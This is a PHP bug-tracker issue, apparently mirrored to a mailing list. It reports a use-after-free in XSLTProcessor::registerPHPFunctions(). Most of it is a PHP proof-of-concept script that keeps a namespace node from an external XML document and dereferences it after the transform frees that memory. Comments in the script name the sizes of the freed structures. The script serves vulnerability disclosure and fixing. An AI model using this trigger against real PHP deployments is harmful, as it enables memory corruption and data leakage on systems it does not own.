[php-src] Issue #22621: UAF via XSLTProcessor::registerPHPFunctions()

[email protected] (iluuu1994) Mon, 6 Jul 2026 19:52:03 +0000
Newsgroups php.bugs
Message-ID <6ArOEasK9cY2YYX0GRhtWegDmzAo9UwIokrNRDnkBqM@main.internal.php.net>
Issue: https://github.com/php/php-src/issues/22621
Author: iluuu1994

### Description

Originally reported by @ExPatch-LLC.

```php
<?php
// external.xml: <root xmlns:custom="urn:custom"><data>secret</data></root>

$stored_ns = null;

function capture_ns($nodes) {
    global $stored_ns;
    // $nodes contains DOMNameSpaceNode from external document
    if (is_array($nodes)) {
        foreach ($nodes as $node) {
            if ($node instanceof DOMNameSpaceNode) {
                $stored_ns = $node;  // retain reference
            }
        }
    }
    return "captured";
}

$xsl = new DOMDocument();
$xsl->loadXML('<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    xmlns:php="http://php.net/xsl">
  <xsl:template match="/">
    <result>
      <xsl:value-of select="php:function(
          \'capture_ns\',
          document(\'external.xml\')/*/namespace::*
      )"/>
    </result>
  </xsl:template>
</xsl:stylesheet>');

$doc = new DOMDocument();
$doc->loadXML('<input/>');

$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStylesheet($xsl);
$result = $proc->transformToXml($doc);
// xsltFreeTransformContext() has now freed the external document

// All three accesses dereference freed memory:
var_dump($stored_ns->parentNode);    // freed 120B element node
var_dump($stored_ns->localName);     // freed 1048B dict string storage
var_dump($stored_ns->ownerDocument); // freed 176B xmlDoc structure
```

### PHP Version

```plain
-
```

### Operating System

_No response_